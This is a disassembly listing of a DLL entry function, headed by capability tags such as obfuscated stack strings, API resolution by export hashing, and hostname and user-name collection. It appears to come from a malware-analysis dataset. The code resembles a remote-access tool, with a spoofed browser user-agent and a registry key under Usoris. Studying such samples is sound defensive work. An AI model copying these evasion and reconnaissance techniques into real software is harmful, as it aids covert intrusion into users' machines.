Function at 0x1000e020
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Get common file path
Get hostname
Get session information
Get session user name
Parse pe header
Resolve function by parsing pe exports
Set current directory
Terminate process

Disassembly:
sub esp, 0x380
mov eax, dword [0x1001f2b8]
xor eax, esp
mov dword [esp + 0x37c], eax
mov ecx, dword [esp + 0x388]
mov eax, dword [esp + 0x384]
push ebx
push ebp
push esi
xor esi, esi
sub ecx, esi
push edi
je 0x1000f061
dec ecx
jne 0x1000f263
push eax
mov dword [0x100200b4], eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0x20a
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10016d00
push 0x105
push eax
mov dword [0x1001fe40], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x1000e092
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x1001fe40]
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
push eax
call ebx
lea ecx, [esp + 0x128]
xor eax, eax
push ecx
mov dword [esp + 0x12c], 0x65006b
mov dword [esp + 0x130], 0x6e0072
mov dword [esp + 0x134], 0x6c0065
mov dword [esp + 0x138], 0x320033
mov word [esp + 0x13c], ax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esp + 0x1c], eax
cmp eax, esi
jne 0x1000e0f3
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0xff000000
push 2
lea edx, [esp + 0x34]
push edx
push eax
mov dword [esp + 0x3c], 0x341508dc
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], 0x1001fdfc
mov dword [esp + 0x4c], 0xc0c1bd8d
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], esi
mov dword [esp + 0x58], 0x100200a8
call fcn.100100d0
mov ecx, dword [0x1001fdfc]
add esp, 0x10
push 0x20a
push 8
mov dword [0x10020108], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10016d00
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
push eax
push esi
mov dword [0x10020114], eax
call edi
mov edx, dword [0x10020114]
mov ebp, dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push edx
mov dword [0x10020120], eax
call ebp
push 0x20a
push 8
mov dword [0x1001fde0], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10016d00
push 0x104
push eax
mov dword [0x1001fe24], eax
mov eax, dword [0x100200b4]
push eax
call edi
push 0x20a
push 8
mov dword [0x1001fe98], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10016d00
mov ecx, dword [0x1001fe24]
push ecx
push eax
mov dword [0x1001fe1c], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [0x1001fe1c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov eax, dword [0x1001fe1c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov ecx, dword [0x1001fe1c]
push ecx
call ebx
mov eax, dword [0x10020114]
mov edx, dword [0x1001fe24]
mov dword [0x10020180], eax
mov eax, dword [0x1001fe1c]
push eax
mov dword [0x100200ac], edx
mov dword [0x10020168], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [0x10020180]
push 1
push esi
push ecx
mov dword [0x1001fe90], eax
call fcn.10018280
mov dword [0x1001fe70], eax
mov dword [esp + 0x108], 0x74006e
push esi
lea edx, [esp + 0x10c]
push esi
push edx
mov dword [esp + 0x118], 0x6c0064
mov dword [esp + 0x11c], 0x6c
call fcn.10012500
add esp, 0x18
cmp eax, esi
jne 0x1000e275
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0xff000000
push 1
lea ecx, [esp + 0xe4]
push ecx
push eax
mov dword [esp + 0xec], 0x8c210360
mov dword [esp + 0xf0], esi
mov dword [esp + 0xf4], esi
mov dword [esp + 0xf8], 0x10020198
call fcn.100100d0
mov edx, dword [0x1001fe24]
add esp, 0x10
push edx
call ebp
mov ebp, dword [sym.imp.USER32.dll_wsprintfW]
push eax
mov eax, dword [0x1001fe40]
push eax
lea ecx, [esp + 0x188]
push 0x100194b0
push ecx
call ebp
add esp, 0x10
lea edx, [esp + 0x180]
push edx
call dword [0x10020108]
mov dword [0x1002030c], eax
cmp eax, esi
jne 0x1000e2f7
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x100200b4]
push eax
call fcn.10012810
add esp, 4
push 0x11c
push 0x100201f0
call sub.NTDLL.dll_RtlZeroMemory
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x28]
push eax
mov dword [0x100201f0], 0x11c
mov dword [esp + 0x2c], esi
mov dword [esp + 0x34], esi
mov dword [esp + 0x30], esi
call sub.NTDLL.dll_RtlGetNtVersionNumbers
movzx eax, word [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x28]
mov dword [0x100201f4], ecx
mov dword [0x100201f8], edx
mov dword [0x100201fc], eax
call fcn.10012890
mov ecx, dword [0x1001fe70]
mov edx, 0x5a4d
mov dword [0x1001fe20], eax
cmp word [ecx], dx
jne 0x1000f263
mov edx, dword [ecx + 0x3c]
cmp dword [edx + ecx], 0x4550
jne 0x1000f263
mov edx, dword [edx + ecx + 0x58]
cmp edx, 0x13df7ca
jne 0x1000e3a2
mov dword [0x10020134], 1
jmp 0x1000e3b4
cmp edx, 0x3b75f
jne 0x1000e3b4
mov dword [0x10020134], 3
push eax
call fcn.1000df50
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 4
push 0xc8
push 8
mov dword [0x100200bc], eax
call edi
push eax
call fcn.10016d00
mov dword [0x1002013c], eax
cmp eax, esi
jne 0x1000e3e7
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
mov word [esp + 0x17c], cx
mov ecx, dword [0x100200bc]
push 0x5c
push ecx
push str._s_c
push eax
mov dword [esp + 0x160], 0x4f0053
mov dword [esp + 0x164], 0x540046
mov dword [esp + 0x168], 0x410057
mov dword [esp + 0x16c], 0x450052
mov dword [esp + 0x170], 0x55005c
mov dword [esp + 0x174], 0x6f0073
mov dword [esp + 0x178], 0x690072
mov dword [esp + 0x17c], 0x5c0073
mov dword [esp + 0x180], 0x610042
mov dword [esp + 0x184], 0x6b0063
mov dword [esp + 0x188], 0x700075
call ebp
mov ecx, dword [0x1002013c]
lea edx, [esp + 0x160]
push edx
lea edx, [ecx + eax*2]
push 0x10019a60
push edx
mov dword [0x1001fdd0], eax
call ebp
mov eax, dword [0x1002013c]
mov ecx, dword [0x1001fdd0]
add esp, 0x1c
lea edx, [eax + ecx*2]
mov ecx, dword [0x1001fe20]
lea eax, [esp + 0x18]
push eax
push 0x10020144
push 5
push ecx
push esi
mov dword [0x1002014c], edx
mov dword [esp + 0x2c], esi
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x1000e50c
push 0x20a
push 8
call edi
push eax
call fcn.10016d00
mov dword [0x10020144], eax
cmp eax, esi
je 0x1000e516
lea edx, [esp + 0x18]
push edx
push eax
mov dword [esp + 0x20], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x1000e516
mov ecx, dword [0x10020144]
mov word [ecx], ax
jmp 0x1000e516
mov dword [0x1001fe14], 1
mov eax, dword [0x1001fe20]
lea edx, [esp + 0x10]
push edx
push 0x100200c4
push 7
push eax
push esi
mov dword [esp + 0x24], esi
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x1000e574
push 0x20a
push 8
call edi
push eax
call fcn.10016d00
mov dword [0x100200c4], eax
cmp eax, esi
je 0x1000e57e
lea ecx, [esp + 0x10]
push ecx
push eax
push 3
mov dword [esp + 0x1c], 0x104
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
jne 0x1000e57e
mov eax, dword [0x100200c4]
xor edx, edx
mov word [eax], dx
jmp 0x1000e57e
mov dword [0x100201a0], 1
call fcn.100171c0
mov dword [0x1001fe50], eax
call fcn.10017bf0
mov dword [0x100200b0], eax
call fcn.1000d390
mov dword [0x1001fe9c], eax
mov dword [0x1001fdec], 0x100197c0
cmp dword [0x10020134], esi
je 0x1000f263
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [esp + 0x14]
push ecx
push eax
mov dword [esp + 0x1c], esi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, eax
cmp ebx, esi
je 0x1000e664
mov edx, dword [ebx]
push edx
call dword [sym.imp.USER32.dll_CharLowerW]
mov edx, dword [esp + 0x14]
cmp edx, 1
jle 0x1000e65d
mov edi, 1
lea esp, [esp]
lea eax, [edx - 1]
cmp edi, eax
jge 0x1000e61d
mov eax, dword [ebx + edi*4]
cmp word [eax], 0x77
jne 0x1000e61d
cmp word [eax + 2], si
jne 0x1000e61d
mov ecx, dword [ebx + edi*4 + 4]
inc edi
push ecx
call dword [sym.imp.SHLWAPI.dll_StrToIntW]
mov edx, dword [esp + 0x14]
mov dword [0x100200dc], eax
jmp 0x1000e658
mov eax, dword [ebx + edi*4]
movzx ecx, word [eax]
cmp ecx, 0x6b
jne 0x1000e63a
cmp word [eax + 2], si
jne 0x1000e63a
mov dword [0x10020110], 1
jmp 0x1000e658
cmp dword [0x10020134], 3
jne 0x1000e658
cmp ecx, 0x66
jne 0x1000e658
cmp word [eax + 2], si
jne 0x1000e658
mov dword [0x1001fe44], 1
inc edi
cmp edi, edx
jl 0x1000e5f0
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [0x100200dc], esi
jle 0x1000e688
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call edi
mov eax, dword [0x100200dc]
dec eax
mov dword [0x100200dc], eax
cmp eax, esi
jg 0x1000e672
push 0x208
push 8
mov edi, 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10016d00
mov dword [0x10020164], eax
cmp eax, esi
je 0x1000e799
mov edx, dword [0x100201f8]
mov ecx, dword [0x100201f4]
push edx
push ecx
lea edx, [esp + 0x34]
push edx
push eax
mov dword [esp + 0x3c], 0x6f004d
mov dword [esp + 0x40], 0x69007a
mov dword [esp + 0x44], 0x6c006c
mov dword [esp + 0x48], 0x2f0061
mov dword [esp + 0x4c], 0x2e0035
mov dword [esp + 0x50], 0x200030
mov dword [esp + 0x54], 0x570028
mov dword [esp + 0x58], 0x6e0069
mov dword [esp + 0x5c], 0x6f0064
mov dword [esp + 0x60], 0x730077
mov dword [esp + 0x64], 0x4e0020
mov dword [esp + 0x68], 0x200054
mov dword [esp + 0x6c], 0x750025
mov dword [esp + 0x70], 0x25002e
mov dword [esp + 0x74], 0x290075
mov dword [esp + 0x78], 0x460020
mov dword [esp + 0x7c], 0x720069
mov dword [esp + 0x80], 0x660065
mov dword [esp + 0x84], 0x78006f
mov dword [esp + 0x88], 0x37002f
mov dword [esp + 0x8c], 0x2e0038
mov dword [esp + 0x90], 0x30
call ebp
mov eax, dword [0x10020164]
push esi
push esi
push esi
push esi
push eax
call fcn.10015200
add esp, 0x24
mov dword [0x1001fe64], eax
cmp dword [0x10020134], edi
jne 0x1000e7e8
mov eax, dword [0x100200bc]
mov ecx, dword [0x10020144]
mov edx, dword [0x100200c4]
push eax
push 0x100201f0
mov dword [0x10020138], ecx
mov dword [0x10020174], edx
call fcn.100169c0
xor edx, edx
mov ecx, closesocket
div ecx
push edi
mov dword [0x1001fdf8], edx
mov edx, dword [0x1001fe1c]
push edx
call fcn.10016e20
add esp, 0x10
call fcn.10012280
test eax, eax
je 0x1000e7f8
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x10020134], edi
mov dword [0x1002035c], edi
mov edi, dword [esp + 0x1c]
mov ebx, 0x1000d1d0
mov ebp, 0x1001fe48
jne 0x1000ed4b
push 0x631143df
push 1
lea eax, [esp + 0x34]
push eax
push edi
mov dword [esp + 0x3c], 0x4d4177d4
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], 0x10020158
call fcn.100100d0
add esp, 0x10
call fcn.10012270
push eax
call fcn.1000ce80
push 0x631143df
push 0xb
lea ecx, [esp + 0x38]
push ecx
push edi
mov dword [0x1001fe6c], eax
mov dword [esp + 0x40], 0xbcceb12b
mov dword [esp + 0x44], 0x10013600
mov dword [esp + 0x48], 0x1001fe34
mov dword [esp + 0x4c], esi
mov dword [esp + 0x50], 0x5e2e2340
mov dword [esp + 0x54], 0x10015ce0
mov dword [esp + 0x58], 0x1001fe10
mov dword [esp + 0x5c], esi
mov dword [esp + 0x60], 0x9f7a012e
mov dword [esp + 0x64], 0x10013a30
mov dword [esp + 0x68], 0x100200d0
mov dword [esp + 0x6c], esi
mov dword [esp + 0x70], 0xa2e2fba9
mov dword [esp + 0x74], 0x10010090
mov dword [esp + 0x78], 0x10020170
mov dword [esp + 0x7c], esi
mov dword [esp + 0x80], 0xa7a5ea92
mov dword [esp + 0x84], 0x1000d330
mov dword [esp + 0x88], 0x1001fe4c
mov dword [esp + 0x8c], esi
mov dword [esp + 0x90], 0xc2feaaf6
mov dword [esp + 0x94], 0x10012560
mov dword [esp + 0x98], 0x10020140
mov dword [esp + 0x9c], esi
mov dword [esp + 0xa0], 0xf6353ee6
mov dword [esp + 0xa4], 0x100122d0
mov dword [esp + 0xa8], 0x1001fe08
mov dword [esp + 0xac], esi
mov dword [esp + 0xb0], 0x3f942f98
mov dword [esp + 0xb4], 0x1000d7a0
mov dword [esp + 0xb8], 0x100200cc
mov dword [esp + 0xbc], esi
mov dword [esp + 0xc0], 0xaddfba77
mov dword [esp + 0xc4], 0x1000f290
mov dword [esp + 0xc8], 0x1001fe54
mov dword [esp + 0xcc], esi
mov dword [esp + 0xd0], 0xbaa3474b
mov dword [esp + 0xd4], ebx
mov dword [esp + 0xd8], ebp
mov dword [esp + 0xdc], esi
mov dword [esp + 0xe0], 0x16884023
mov dword [esp + 0xe4], 0x10017a10
mov dword [esp + 0xe8], 0x1001fdf4
mov dword [esp + 0xec], esi
call fcn.100155f0
push esi
lea eax, [esp + 0x130]
xor edx, edx
push 0x100200ec
push eax
mov dword [esp + 0x138], 0x730075
mov dword [esp + 0x13c], 0x720065
mov dword [esp + 0x140], 0x320033
mov word [esp + 0x144], dx
call fcn.10012500
add esp, 0x20
mov dword [0x100200f4], eax
cmp eax, esi
je 0x1000eb57
push 0x631143df
push 8
lea ecx, [esp + 0x34]
push ecx
push eax
mov dword [esp + 0x3c], 0xa5126c5b
mov dword [esp + 0x40], 0x10010df0
mov dword [esp + 0x44], 0x10020178
mov dword [esp + 0x48], esi
mov dword [esp + 0x4c], 0xb624fee8
mov dword [esp + 0x50], 0x10015780
mov dword [esp + 0x54], 0x1001fe94
mov dword [esp + 0x58], esi
mov dword [esp + 0x5c], 0x288d34a4
mov dword [esp + 0x60], 0x1000fd50
mov dword [esp + 0x64], 0x100200a4
mov dword [esp + 0x68], esi
mov dword [esp + 0x6c], 0x343c1e51
mov dword [esp + 0x70], 0x10012bb0
mov dword [esp + 0x74], 0x1001fe04
mov dword [esp + 0x78], esi
mov dword [esp + 0x7c], 0xc0e8ab00
mov dword [esp + 0x80], 0x100111f0
mov dword [esp + 0x84], 0x10020118
mov dword [esp + 0x88], esi
mov dword [esp + 0x8c], 0xc442ac10
mov dword [esp + 0x90], 0x1000f700
mov dword [esp + 0x94], 0x1001fdd4
mov dword [esp + 0x98], esi
mov dword [esp + 0x9c], 0xa2578f57
mov dword [esp + 0xa0], 0x100139f0
mov dword [esp + 0xa4], 0x10020184
mov dword [esp + 0xa8], esi
mov dword [esp + 0xac], 0xf184d6f6
mov dword [esp + 0xb0], 0x100172f0
mov dword [esp + 0xb4], 0x1001fe5c
mov dword [esp + 0xb8], esi
call fcn.100155f0
add esp, 0x10
push esi
lea ecx, [esp + 0xe0]
push 0x100200c8
push ecx
mov dword [esp + 0xe8], 0x680073
mov dword [esp + 0xec], 0x6c0065
mov dword [esp + 0xf0], 0x33006c
mov dword [esp + 0xf4], 0x32
call fcn.10012500
add esp, 0xc
mov dword [0x1001fe8c], eax
cmp eax, esi
je 0x1000ec0b
push 0x631143df
push 3
lea edx, [esp + 0x34]
push edx
push eax
mov dword [esp + 0x3c], 0xc7ee492e
mov dword [esp + 0x40], 0x10015280
mov dword [esp + 0x44], 0x1001fe84
mov dword [esp + 0x48], esi
mov dword [esp + 0x4c], 0x5c981f54
mov dword [esp + 0x50], 0x10012070
mov dword [esp + 0x54], 0x100200d8
mov dword [esp + 0x58], esi
mov dword [esp + 0x5c], 0xa47468e0
mov dword [esp + 0x60], 0x10013a00
mov dword [esp + 0x64], 0x10020348
mov dword [esp + 0x68], esi
call fcn.100155f0
add esp, 0x10
push esi
lea ecx, [esp + 0x10c]
xor eax, eax
push 0x10020188
push ecx
mov dword [esp + 0x114], 0x730077
mov dword [esp + 0x118], 0x5f0032
mov dword [esp + 0x11c], 0x320033
mov word [esp + 0x120], ax
call fcn.10012500
add esp, 0xc
mov dword [0x1001fe38], eax
cmp eax, esi
je 0x1000ecbe
push 0x631143df
push 3
lea edx, [esp + 0x34]
push edx
push eax
mov dword [esp + 0x3c], 0x25ddb08c
mov dword [esp + 0x40], 0x10012d70
mov dword [esp + 0x44], 0x10020194
mov dword [esp + 0x48], esi
mov dword [esp + 0x4c], 0x99d55537
mov dword [esp + 0x50], 0x10011ec0
mov dword [esp + 0x54], 0x1002034c
mov dword [esp + 0x58], esi
mov dword [esp + 0x5c], 0x17debac0
mov dword [esp + 0x60], 0x10011770
mov dword [esp + 0x64], 0x1001fe28
mov dword [esp + 0x68], esi
call fcn.100155f0
add esp, 0x10
push esi
lea eax, [esp + 0xf4]
push 0x1001fe68
push eax
mov dword [esp + 0xfc], 0x690077
mov dword [esp + 0x100], 0x6d006e
mov dword [esp + 0x104], 0x6d
call fcn.10012500
add esp, 0xc
mov dword [0x1001fe30], eax
cmp eax, esi
je 0x1000ed4b
push 0x631143df
push 2
lea ecx, [esp + 0x34]
push ecx
push eax
mov dword [esp + 0x3c], 0x9d27ac39
mov dword [esp + 0x40], 0x10013a90
mov dword [esp + 0x44], 0x10020150
mov dword [esp + 0x48], esi
mov dword [esp + 0x4c], 0x5789c82b
mov dword [esp + 0x50], 0x10017970
mov dword [esp + 0x54], 0x1002010c
mov dword [esp + 0x58], esi
call fcn.100155f0
add esp, 0x10
push esi
lea edx, [esp + 0x140]
xor ecx, ecx
push 0x1001fdf0
push edx
mov dword [esp + 0x148], 0x640061
mov dword [esp + 0x14c], 0x610076
mov dword [esp + 0x150], 0x690070
mov dword [esp + 0x154], 0x320033
mov word [esp + 0x158], cx
call fcn.10012500
add esp, 0xc
mov dword [0x1002018c], eax
cmp eax, esi
je 0x1000ef4f
cmp dword [0x10020134], 1
jne 0x1000ef22
push 0x631143df
push 0xa
lea ecx, [esp + 0x34]
push ecx
push eax
mov dword [esp + 0x3c], 0xc3109516
mov dword [esp + 0x40], 0x10016d40
mov dword [esp + 0x44], 0x1001fe7c
mov dword [esp + 0x48], esi
mov dword [esp + 0x4c], 0x56ff8c5d
mov dword [esp + 0x50], 0x10011c70
mov dword [esp + 0x54], 0x1002017c
mov dword [esp + 0x58], esi
mov dword [esp + 0x5c], 0xd41bd247
mov dword [esp + 0x60], 0x10010b30
mov dword [esp + 0x64], 0x1001fde8
mov dword [esp + 0x68], esi
mov dword [esp + 0x6c], 0x4e422a93
mov dword [esp + 0x70], 0x100106d0
mov dword [esp + 0x74], 0x1001fe88
mov dword [esp + 0x78], esi
mov dword [esp + 0x7c], 0x7b817146
mov dword [esp + 0x80], 0x100165e0
mov dword [esp + 0x84], 0x100200fc
mov dword [esp + 0x88], esi
mov dword [esp + 0x8c], 0x842db31e
mov dword [esp + 0x90], 0x10016a60
mov dword [esp + 0x94], 0x10020160
mov dword [esp + 0x98], esi
mov dword [esp + 0x9c], 0xdd30a549
mov dword [esp + 0xa0], 0x10017b10
mov dword [esp + 0xa4], 0x1002012c
mov dword [esp + 0xa8], esi
mov dword [esp + 0xac], 0x85b69c83
mov dword [esp + 0xb0], 0x10015c20
mov dword [esp + 0xb4], 0x100200b8
mov dword [esp + 0xb8], esi
mov dword [esp + 0xbc], 0xf1bdc0d7
mov dword [esp + 0xc0], 0x10015170
mov dword [esp + 0xc4], 0x10020130
mov dword [esp + 0xc8], esi
mov dword [esp + 0xcc], 0x59797a4f
mov dword [esp + 0xd0], 0x10010a90
mov dword [esp + 0xd4], 0x1001fe2c
mov dword [esp + 0xd8], esi
call fcn.100155f0
jmp 0x1000ef4c
push 0xff000000
push 1
lea edx, [esp + 0x34]
push edx
push eax
mov dword [esp + 0x3c], 0xc5683990
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], 0x1001fe2c
call fcn.100100d0
add esp, 0x10
cmp dword [0x10020134], 1
jne 0x1000efd4
push esi
lea eax, [esp + 0xe0]
xor edx, edx
push 0x100200d4
push eax
mov dword [esp + 0xe8], 0x690077
mov dword [esp + 0xec], 0x74006e
mov dword [esp + 0xf0], 0x750072
mov dword [esp + 0xf4], 0x740073
mov word [esp + 0xf8], dx
call fcn.10012500
add esp, 0xc
mov dword [0x10020154], eax
cmp eax, esi
je 0x1000effd
push 0x631143df
push 1
lea ecx, [esp + 0x34]
push ecx
mov dword [esp + 0x38], 0xc7f3ad14
mov dword [esp + 0x3c], 0x100179d0
mov dword [esp + 0x40], 0x1001fddc
push eax
jmp 0x1000eff1
push 0x631143df
push 1
lea edx, [esp + 0x34]
push edx
mov dword [esp + 0x38], 0xbaa3474b
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebp
push edi
mov dword [esp + 0x48], esi
call fcn.100155f0
add esp, 0x10
push esi
call fcn.1000f590
test eax, eax
je 0x1000f00e
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x10020134], 1
mov dword [0x1002035c], 2
jne 0x1000f263
mov eax, dword [0x1002014c]
push esi
push 0x1001fe78
push esi
xor ecx, ecx
cmp dword [0x1001fe50], esi
push 0xf013f
push esi
setne cl
push esi
push esi
push eax
add ecx, 0x80000001
push ecx
call dword [0x1001fe7c]
test eax, eax
je 0x1000f263
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x1001fe40]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
cmp eax, esi
je 0x1000f07a
push eax
push esi
call edi
push eax
call fcn.10015150
mov eax, dword [0x1001fe1c]
cmp eax, esi
je 0x1000f08d
push eax
push esi
call edi
push eax
call fcn.10015150
mov eax, dword [0x1001fe24]
cmp eax, esi
je 0x1000f0a0
push eax
push esi
call edi
push eax
call fcn.10015150
mov eax, dword [0x10020114]
cmp eax, esi
je 0x1000f0b3
push eax
push esi
call edi
push eax
call fcn.10015150
mov eax, dword [0x1002030c]
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp eax, esi
je 0x1000f0c5
push eax
call ebx
mov eax, dword [0x100200bc]
cmp eax, esi
je 0x1000f0d5
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [0x1002013c]
cmp eax, esi
je 0x1000f0e8
push eax
push esi
call edi
push eax
call fcn.10015150
mov eax, dword [0x10020144]
cmp eax, esi
je 0x1000f10a
push eax
cmp dword [0x1001fe14], esi
je 0x1000f101
call sub.WTSAPI32.dll_WTSFreeMemory
jmp 0x1000f10a
push esi
call edi
push eax
call fcn.10015150
mov eax, dword [0x100200c4]
cmp eax, esi
je 0x1000f12c
push eax
cmp dword [0x100201a0], esi
je 0x1000f123
call sub.WTSAPI32.dll_WTSFreeMemory
jmp 0x1000f12c
push esi
call edi
push eax
call fcn.10015150
cmp dword [0x10020134], esi
je 0x1000f263
cmp dword [0x1002035c], 2
jne 0x1000f147
push esi
call fcn.10017300
cmp dword [0x1002035c], esi
jle 0x1000f154
call fcn.10015290
mov eax, dword [0x100200f4]
cmp eax, esi
je 0x1000f168
cmp dword [0x100200ec], esi
je 0x1000f168
push eax
call ebx
mov eax, dword [0x1001fe8c]
cmp eax, esi
je 0x1000f17c
cmp dword [0x100200c8], esi
je 0x1000f17c
push eax
call ebx
mov eax, dword [0x1002018c]
cmp eax, esi
je 0x1000f190
cmp dword [0x1001fdf0], esi
je 0x1000f190
push eax
call ebx
mov eax, dword [0x10020154]
cmp eax, esi
je 0x1000f1a4
cmp dword [0x100200d4], esi
je 0x1000f1a4
push eax
call ebx
mov eax, dword [0x1001fe38]
cmp eax, esi
je 0x1000f1b8
cmp dword [0x10020188], esi
je 0x1000f1b8
push eax
call ebx
mov eax, dword [0x1001fe30]
cmp eax, esi
je 0x1000f1cc
cmp dword [0x1001fe68], esi
je 0x1000f1cc
push eax
call ebx
mov eax, dword [0x10020124]
cmp eax, esi
je 0x1000f1e0
cmp dword [0x1001fe74], esi
je 0x1000f1e0
push eax
call ebx
mov eax, dword [0x1001fe78]
cmp eax, esi
je 0x1000f1f0
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x10020164]
cmp eax, esi
je 0x1000f203
push eax
push esi
call edi
push eax
call fcn.10015150
mov eax, dword [0x1001fe64]
cmp eax, esi
je 0x1000f216
push eax
push esi
call edi
push eax
call fcn.10015150
mov eax, dword [0x100200c0]
cmp eax, esi
je 0x1000f229
push eax
push esi
call edi
push eax
call fcn.10015150
mov edi, 0x10020338
mov edi, edi
mov eax, dword [edi]
cmp eax, esi
je 0x1000f23c
push eax
call sub.NTDLL.dll_NtClose
add edi, 4
cmp edi, 0x10020344
jl 0x1000f230
mov eax, dword [0x1002011c]
cmp eax, esi
je 0x1000f263
push esi
push eax
call sub.NTDLL.dll_NtTerminateThread
mov edx, dword [0x1002011c]
push edx
call sub.NTDLL.dll_NtClose
mov ecx, dword [esp + 0x38c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10008464
add esp, 0x380
ret 0xc